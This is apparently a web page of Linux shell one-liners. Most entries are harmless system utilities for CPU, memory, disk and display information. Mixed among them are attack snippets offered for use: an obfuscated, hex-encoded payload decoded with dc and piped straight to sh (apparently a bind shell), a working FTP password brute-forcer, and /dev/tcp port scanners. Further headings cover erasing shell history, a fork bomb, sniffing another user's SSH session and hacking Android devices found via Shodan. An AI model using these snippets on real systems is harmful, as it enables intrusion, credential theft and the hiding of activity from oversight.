Linux Shell
Bash/Shell is awesome
Master the Command Line: Unleashing the Power of Linux
Configure linux kernel modules from commandline
Safely restart the linux display manager after a session crash
A very simple monitor for the ramdisk from tmpfs that we are using
What head expansion does
| Expansion | Meaning |
|---|---|
| ! ! | Entire previous command |
| ! $ | Last argument of previous command |
| ! * | All arguments of previous command |
| ! ^ | First argument of previous command |
| ! :2 | Second argument |
| ! :-2 | All but last argument |
- What head !$ does
Expansion happens before execution, so Bash actually runs:
Bash auto-complete (e.g. show options word1 word2 word3 when you press’tab’ after typing words)
Convert the hexadecimal MD5 checksum value into its base64-encoded format
Exit Codes
Send email from commandline
Generate CPU Signature for Microcode Matching
Tappping screen for tiktok
Simple grub-install command for EFI
Use tee to process a pipe with two or more processes
Fastest local network scanner
Probably the fastest Network scanner on earth: by wuseman
Network scanner with execution time at end
start=$(date +%s.%N);
seq 1 254 | xargs -P 254 -I{} bash -c 'function ping_status() {
network="192.168.1.$1";
if ping -c 1 -W 0.5 $network &> /dev/null; then
printf "IPV4: %-13s is \e[1;32mup\e[0m\n" "$network";
fi
};
ping_status {}';
end=$(date +%s.%N);
runtime=$(printf "%.2f" $(echo "$end - $start" | bc));
printf "Total execution time: %.2f seconds\n" $runtime
Memory Difference
awk '/MemTotal:/ {
l = 5242880; # Define the limit in bytes (5 GB in bytes)
mt = ($2 * 1024); # Convert 'MemTotal' value from KB to bytes
diff = mt - l; # Calculate the difference (positive)
printf "Total Memory:\n\n"
printf "In Gigabytes..: %.2f GB\n", diff / (1024 * 1024 * 1024)
printf "In Megabytes..: %.2f MB\n", diff / (1024 * 1024)
printf "In Kilobytes..: %.2f KB\n", diff / 1024
printf "In Bytes......: %d B\n", diff
}' /proc/meminfo
Backup all starred repositories from Github
Fork Bomb
It is a function that calls itself twice every call until you run out of system resources.
A # is added in front for safety reason, remove it when seriously you are testing it.
Execute Obfuscated Bind Shell via dc Reverse Polish Notation (RPN)
text="qxblnsE63602D2C6676707021333337302D25602F22696E6F237860232024786963702C696E6560277163702362756164756460226970277573756D616E6D0A0bs]xblns/001nlP%001nla=0nl[as]q[i61"
var1="${text:0:24}"
var2="${text:24:24}"
var3="${text:48:24}"
var4="${text:72:24}"
var5="${text:96:24}"
var6="${text:120:24}"
var7="${text:144}"
echo "1=\"$var1\""
echo "2=\"$var2\""
echo "3=\"$var3\""
echo "4=\"$var4\""
echo "5=\"$var5\""
echo "6=\"$var6\""
echo "7=\"$var7\""
dc -e $(echo "$text" | awk '{ for(i=length; i>=1; i--) { printf "%s", substr($0, i, 1) } }')|sh -c
Decode and Execute dc-Obfuscated Shell Payload Using Pure Bash Emulation
t="qxblnsE63602D2C6676707021333337302D25602F22696E6F237860232024786963702C696E6560277163702362756164756460226970277573756D616E6D0A0bs]xblns/001nlP%001nla=0nl[as]q[i61";r=;for((i=${#t}-1;i>=0;i--));do r+=${t:i:1};done;p=${r#*sb};p=${p%%[^0-9A-F]*};o=;for((i=0;i<${#p};i+=2));do printf -v o '%s%b' "$o" "\\x${p:i:2}";done;for((i=${#o}-1;i>=0;i--));do printf '%s' "${o:i:1}";done;echo
dc_emulate() {
local prog="$1"
local stack=
prog=${prog//16i/}
local hex=${prog%%P*}
local out=
for ((i=0;i<${#hex};i+=2)); do
printf -v out '%s%b' "$out" "\\x${hex:i:2}"
done
printf '%s\n' "$out"
}
rev=$(for((i=${#text}-1;i>=0;i--));do printf '%s' "${text:i:1}";done)
dc_emulate "${rev#*sb}"
Spoof MAC address
Print connected USB drives
Do we use Wayland or X11
Put a console clock in different positions on terminal
Zick Zack print
A "bouncing ball" in the terminal
Force an immediate reboot using SysRq (bypasses shutdown)
Browse to https://linux-shell.se in pure Bash
Generate a uniq ipv4 address
Random IPv6 generator
Generate uuid´s
Generate a mac address
- The last sed expression ensures the unicast/multicast bit is set to zero
- The greedy space replacements are for portability across UNIX seds
For hide our real mac address we use this command for generate a macaddr for bluez tools
```bash hexdump -n6 -e '/1 "%02X_"' /dev/urandom | sed 's/_$/\n/'
Create several files filled with random data
Set shell enviroment
Truncate long strings in columns and use custom header names
Dump /etc/passwd in tabular
Execute 10 curl commands in parallel
Print CPU core speed
Dump CPU temp in Celsius
Dump CPU temp in Farenheit
Dump CPU load
Print thermals
Non-blocking TCP port audit using /dev/tcp bit-flip logic
Portscan entire internet
Fast portscanner using parallel
Another Portscanner
Perform Real-time Process Monitoring using watch
Block all brute-force attacks in realtime (IPv4/SSH)
Ports you probably want to add to iptables
Sniff a user's SSH session with strace
Check if a port is open or closed in bash
Network Discover in a one liner
Find all file extension in current dir
Aggregate Disk Usage (Used vs Total Capacity)
Print used disk space
Print allocated disk space
Print string with color flash
Leave bash without History
Tell Bash to use /dev/null instead of ~/.bash_history
This is the first command we execute on every shell.
It will stop the Bash from logging your commands.
Shred and Wipe, without Shred
Bruteforce two FTP Accounts at once
#!/bin/bash
# Author: wuseman
# Desc: Bruteforce 2 accounts at once
okMSG() {
echo -e "[\e[1;32m*\e[0m] $*"
}
errMSG() {
echo -e "[\e[1;31m*\e[0m] $*"
}
1() {
curl ftp://host:port -u $line &> /dev/null
[[ $? = "0" ]] && okMSG "Cracked password for $line" \
|| errMSG "Bad password for $line"
}
2() {
curl ftp://host:port -u $line1 &> /dev/null -u $line1 &> /dev/null
[[ $? = "0" ]] && okMSG "Cracked password for $line1" \
|| errMSG "Bad password for $line1"
}
while
read line;read line1;
do
1;2;sleep 0.1;
done < test
Print interface that is up and running
Correct SSH permissions
Print current Socks5 IPv4 address behind Tor
Ports we probably wanna accept in iptables
Create a UEFI bootable USB
Benchmark and find bytesize for dd
Returns the "hypotenuse" of a right triangle
Disable ipv6
Download URL
Download file
Prints headers for URL
Perform a port scan
hosts=(127.0.0.1 127.0.0.2 127.0.0.3)
ports=(22 23 25 80)
for host in "${hosts[@]}"
do
for port in "${ports[@]}"
do
if echo "Hi from someone unknowns port scanner at $(uname -n)" 2>/dev/null > /dev/tcp/"$host"/"$port"
then
echo success at "$host":"$port"
else
echo failure at "$host":"$port"
fi
done
done
Perform a port scan
IPS=$(ifconfig \
| grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' \
| grep -Eo '([0-9]*\.){3}[0-9]*' \
| grep -v '127.0.0.1')
IPS=(${IPS//$'\n'/ })
for ip in "${IPS[@]}"
do
iprange=$(echo $ip | sed 's/\.[^.]*$//')
echo "PORT HOST"
for ihost in {1..254}; do
for port in {22,80,8080,3389,443,53,67,68}; do
bash -c "echo >/dev/tcp/$iprange.$ihost/$port" 2>/dev/null \
&& echo "$port $iprange.$ihost"
done
done
done
Fetch a web page
Print current time by NTP
Generate dates from end to start with parallel
Generate dates from end to start with parallel and awk
start=2014-12-29; end=2021-01-03
awk -v start="$start" -v end="$end" '
BEGIN {
cmd = "date -d \"" start "\" +%s"
cmd | getline start_epoch
close(cmd)
cmd = "date -d \"" end "\" +%s"
cmd | getline end_epoch
close(cmd)
for (i = start_epoch; i <= end_epoch; i += 86400) {
print i
}
}
' | xargs -P$(nproc) -I{} date -d @{} +"%Y-%m-%d"
Print screen monitor in hex values only
xrandr --prop | awk '
!/^[ \t]/ {
if (output && hex) print output, hex, conn
output=$1
hex=""
}
/ConnectorType:/ {conn=$2}
/[:.]/ && h {
sub(/.*000000fc00/, "", hex)
hex = substr(hex, 0, 26) "0a"
sub(/0a.*/, "", hex)
h=0
}
h {sub(/[ \t]+/, ""); hex = hex $0}
/EDID.*:/ {h=1}
END {if (output && hex) print output, hex, conn}
'
Print screen monitor model
while read -r output hex conn; do
[[ -z "$conn" ]] && conn=${output%%-*}
echo "# $output $conn $(xxd -r -p <<< "$hex")"
done < <(xrandr --prop | awk '
!/^[ \t]/ {
if (output && hex) print output, hex, conn
output=$1
hex=""
}
/ConnectorType:/ {conn=$2}
/[:.]/ && h {
sub(/.*000000fc00/, "", hex)
hex = substr(hex, 0, 26) "0a"
sub(/0a.*/, "", hex)
h=0
}
h {sub(/[ \t]+/, ""); hex = hex $0}
/EDID.*:/ {h=1}
END {if (output && hex) print output, hex, conn}
' | sort
)
Setting up watches for /var/log so we can see what file get's modified
Hack a random android device via shodan
Remove multiple files at same time for a faster deletion with xargs on rclone mount
Set swedish language with setxkbmap se
Simulate typing without using pv
Creates a 16-character random alphanumeric password.
Read all temperatures on HP Elitedesk inclusive chassis temp
Allow crawling from all bots (robots.txt) on web
Fix broken terminal after corrupted TTY state (stty reset)
Show the maximum supported RAM capacity (DMI/SMBIOS)
perl -0777 -ne '
$d=$_;
$i=0;
while($i+4<=length($d)){
$t=ord(substr($d,$i,1));
$l=ord(substr($d,$i+1,1));
last if $l<4 || $i+$l>length($d);
$fmt=substr($d,$i,$l);
$j=$i+$l;
$j++ while $j+1<length($d) && substr($d,$j,2) ne "\0\0";
$j+=2;
if($t==16){
$max_kb=unpack("V",substr($fmt,7,4));
printf "Maximum Capacity: %.0f GiB\n", $max_kb/1024/1024;
exit 0;
}
$i=$j;
}
' /sys/firmware/dmi/tables/DMI
Determine CPU Family architecture
List registered hardware monitoring sensors (hwmon)
Print cpu usage in percentage
Print cpu usage in percentage with 0.1s
Print cpu usage in percentage with 2 decimals only
Print cpu usage in percentage (fast)
Print cpu usage in percentage
read -r cpu u n s i io irq sirq st g gn < /proc/stat
t1=$((u+n+s+i+io+irq+sirq+st))
idle1=$((i+io))
sleep 0.1
read -r cpu u n s i io irq sirq st g gn < /proc/stat
t2=$((u+n+s+i+io+irq+sirq+st))
idle2=$((i+io))
dt=$((t2 - t1))
di=$((idle2 - idle1))
usage=$(( (dt - di) * 100 / dt ))
echo "CPU Usage: ${usage}%"
Print cpu usage in percentage
Print cpu usage (no cat, no grep, awk reads /proc/stat itself)
Print cpu usage per core awk method
awk '
function sample(T,I, cpu,i,total,idle) {
while ((getline < "/proc/stat") > 0) {
if ($1 ~ /^cpu[0-9]+$/) {
cpu=$1
idle=$5+$6
total=0
for (i=2;i<=NF;i++) total += $i
T[cpu]=total
I[cpu]=idle
}
}
close("/proc/stat")
}
BEGIN{
sample(T1,I1)
system("sleep 0.1")
sample(T2,I2)
for (cpu in T1) {
dt=T2[cpu]-T1[cpu]
di=I2[cpu]-I1[cpu]
if (dt>0) printf "%s: %.2f%%\n", cpu, (dt-di)*100/dt
}
}'
Print cpu usage in Percentage
Print CPU usage in Percentage
Print CPU utilization in Percentage
Print cpu usage per core sed method
# First sample
A0=($(sed -n '2p' /proc/stat))
A1=($(sed -n '3p' /proc/stat))
A2=($(sed -n '4p' /proc/stat))
A3=($(sed -n '5p' /proc/stat))
sleep 0.2
# Second sample
C0=($(sed -n '2p' /proc/stat))
C1=($(sed -n '3p' /proc/stat))
C2=($(sed -n '4p' /proc/stat))
C3=($(sed -n '5p' /proc/stat))
calc() {
local -n A=$1
local -n C=$2
idle1=$((${A[4]} + ${A[5]}))
idle2=$((${C[4]} + ${C[5]}))
total1=0
total2=0
for i in {1..10}; do
total1=$((total1 + ${A[$i]}))
total2=$((total2 + ${C[$i]}))
done
dt=$((total2 - total1))
di=$((idle2 - idle1))
echo $((( (dt - di) * 100 ) / dt))
}
E0=$(calc A0 C0)
E1=$(calc A1 C1)
E2=$(calc A2 C2)
E3=$(calc A3 C3)
echo "core0: ${E0}%"
echo "core1: ${E1}%"
echo "core2: ${E2}%"
echo "core3: ${E3}%"
Print cpu usage per core mapfile method
mapfile -t STAT1 < <(grep '^cpu[0-9]' /proc/stat)
sleep 0.2
mapfile -t STAT2 < <(grep '^cpu[0-9]' /proc/stat)
for i in "${!STAT1[@]}"; do
A=(${STAT1[$i]})
C=(${STAT2[$i]})
idle1=$((A[4] + A[5]))
idle2=$((C[4] + C[5]))
total1=0; total2=0
for j in {1..10}; do
total1=$((total1 + A[$j]))
total2=$((total2 + C[$j]))
done
dt=$((total2 - total1))
di=$((idle2 - idle1))
usage=$((( (dt - di) * 100 ) / dt))
echo "core$i: ${usage}%"
done
Print CPU usage in Percentage for idle/used
Directory Summary
/ Root directory
├── bin Essential user binaries
├── sbin System binaries
├── etc Configuration files
├── var Variable data (logs, caches)
├── usr User programs and data
├── home User home directories
├── root Root user home
├── tmp Temporary files
├── boot Boot loader files
├── dev Device files
├── proc Process information (virtual)
├── sys System information (virtual)
├── lib Essential libraries
├── mnt Temporary mount points
├── media Removable media mount points
├── opt Optional software
├── srv Service data
└── run Runtime data
Variables
| Variable | Description |
|---|---|
| $0 | Name of shell or shell script |
| $1, $2, $3, ... | Positional parameters |
| $# | Number of positional parameters |
| $? | Most recent foreground pipeline exit status |
| $- | Current options set for the shell |
| $$ | Pid of the current shell (not subshell) |
| $! | Is the PID of the most recent background command |
| $_ | Last argument of the previously executed command, or the path of the bash script |
Environment variables
| Variables | Description |
|----------------------|----------------------------------------------------------------------------------|
| $DESKTOP_SESSION | Current display manager |
| $EDITOR | Preferred text editor |
| $LANG | Current language |
| $PATH | List of directories to search for executable files (i.e. ready-to-run programs) |
| $PWD | Current directory |
| $SHELL | Current shell |
| $USER | Current username |
| $HOSTNAME | Current hostname |
Using ctrl keys
| Keys | Description |
|---|---|
| Ctrl + a | move to the beginning of line |
| Ctrl + d | if you've type something, Ctrl + d deletes the character under the cursor, else, it escapes the current shell |
| Ctrl + e | move to the end of line |
| Ctrl + k | delete all text from the cursor to the end of line |
| Ctrl + l | equivalent to clear |
| Ctrl + n | same as Down arrow |
| Ctrl + p | same as Up arrow |
| Ctrl + q | to resume output to terminal after Ctrl + s |
| Ctrl + r | begins a backward search through command history |
| Ctrl + s | to stop output to terminal |
| Ctrl + t | transpose the character before the cursor with the one under the cursor, press Esc + t to transposes the two words before the cursor |
| Ctrl + u | cut the line before the cursor; then Ctrl + y paste it |
| Ctrl + w | cut the word before the cursor; then Ctrl + y paste it |
| Ctrl + x | backspace : delete all text from the beginning of line to the cursor |
| Ctrl + x | Ctrl + e : launch editor defined by $EDITOR to input your command |
| Ctrl + z | stop current running process and keep it in background |
| Ctrl + _ | undo typing |